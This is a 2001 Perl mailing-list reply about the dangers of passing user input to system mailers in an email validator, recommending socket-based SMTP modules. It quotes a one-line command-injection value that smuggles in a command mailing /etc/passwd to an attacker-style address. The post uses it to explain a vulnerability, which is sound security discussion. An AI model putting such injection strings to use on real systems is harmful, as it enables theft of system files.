Email Validator RE
Chris Radcliff
chris at velocigen.com
Sat Nov 17 13:22:13 CST 2001
~sdpm~
Eugene Tsyrklevich wrote:
> and how about
> $ARGV[0] = "oops\" dev\@null.com; mail /etc/passwd me\@badguys.com;\"";
>
Agreed. It's a bad bad thing to use system mailers, mostly because you
never know if you've checked for every possible hack.
It's much better (from a performance perspective and a cross-platform
perspective, too) to use one of the socket-based Mail modules and send
mail through an SMTP server. If the modules aren't to your liking, just
open the socket yourself. SMTP is a very simple protocol.
Mail::Sendmail seems like a fairly simple one to use. See
http://alma.ch/perl/Mail-Sendmail-FAQ.htm for details.
~chris
~sdpm~
The posting address is: san-diego-pm-list at hfb.pm.org
List requests should be sent to: majordomo at hfb.pm.org
If you ever want to remove yourself from this mailing list,
you can send mail to <majordomo at happyfunball.pm.org> with the following
command in the body of your email message:
unsubscribe san-diego-pm-list
If you ever need to get in contact with the owner of the list,
(if you have trouble unsubscribing, or have questions about the
list itself) send email to <owner-san-diego-pm-list at happyfunball.pm.org> .
This is the general rule for most mailing lists when you need
to contact a human.
More information about the San-Diego-pm
mailing list